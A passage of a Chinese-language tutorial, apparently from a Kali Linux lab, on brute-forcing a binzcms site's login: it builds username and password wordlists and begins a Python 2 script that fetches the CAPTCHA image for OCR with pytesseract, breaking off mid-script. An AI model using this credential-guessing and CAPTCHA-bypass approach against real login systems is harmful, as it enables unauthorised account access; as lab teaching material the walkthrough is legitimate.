python---模拟用户正常登录系统，破解用户名与登录密码

python—模拟用户正常登录系统，破解用户名与登录密码

一、环境搭建
1、本机新建用户名与密码文件

root@kali:~/python/laowangpy/function# touch username.txt
root@kali:~/python/laowangpy/function# touch password.txt
root@kali:~/python/laowangpy/function# ls
username.txt      password.txt         
root@kali:~/python/laowangpy/function# vi username.txt 
root@kali:~/python/laowangpy/function# vi password.txt 
root@kali:~/python/laowangpy/function# cat username.txt 
xwb
xudada
xwb
seeker
root@kali:~/python/laowangpy/function# cat password.txt 
qwe123456
asd123456
173605852
root@kali:~/python/laowangpy/function# 

2、测试环境

3、python源代码：

root@kali:~/python/laowangpy/function# cat postloginbinzcmsautobraekuseerpd.py 
#!/usr/bin/python
# --*-- coding:utf-8 --*--

import string
import urllib
import urllib2
import Image
from pytesseract import *
import time

usernamelistdata = []#存储读取目录下username.txt所有用户名信
passwordlistdata = []#存储读取目录下password.txt所有登录密码信息

def getpicyanzhengma():#请求服务器的验证码，并保存pic.png图片格式，与服务器互动
    urlget = "http://192.168.40.239/binzcms1/index.php"
    ctl = {
  "ctl":"code"}
    ctldata = urllib.urlencode(ctl)
    reqget = urllib2.Request(urlget+'?'+ctldata)#构造get请求与参数

    #添加get请求的头信息
    reqget.add_header("Host","192.168.40.239")
    reqget.add_header("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0")
    reqget.add_header("Accept","image/png,image/*;q=0.8,*/*;q=0.5")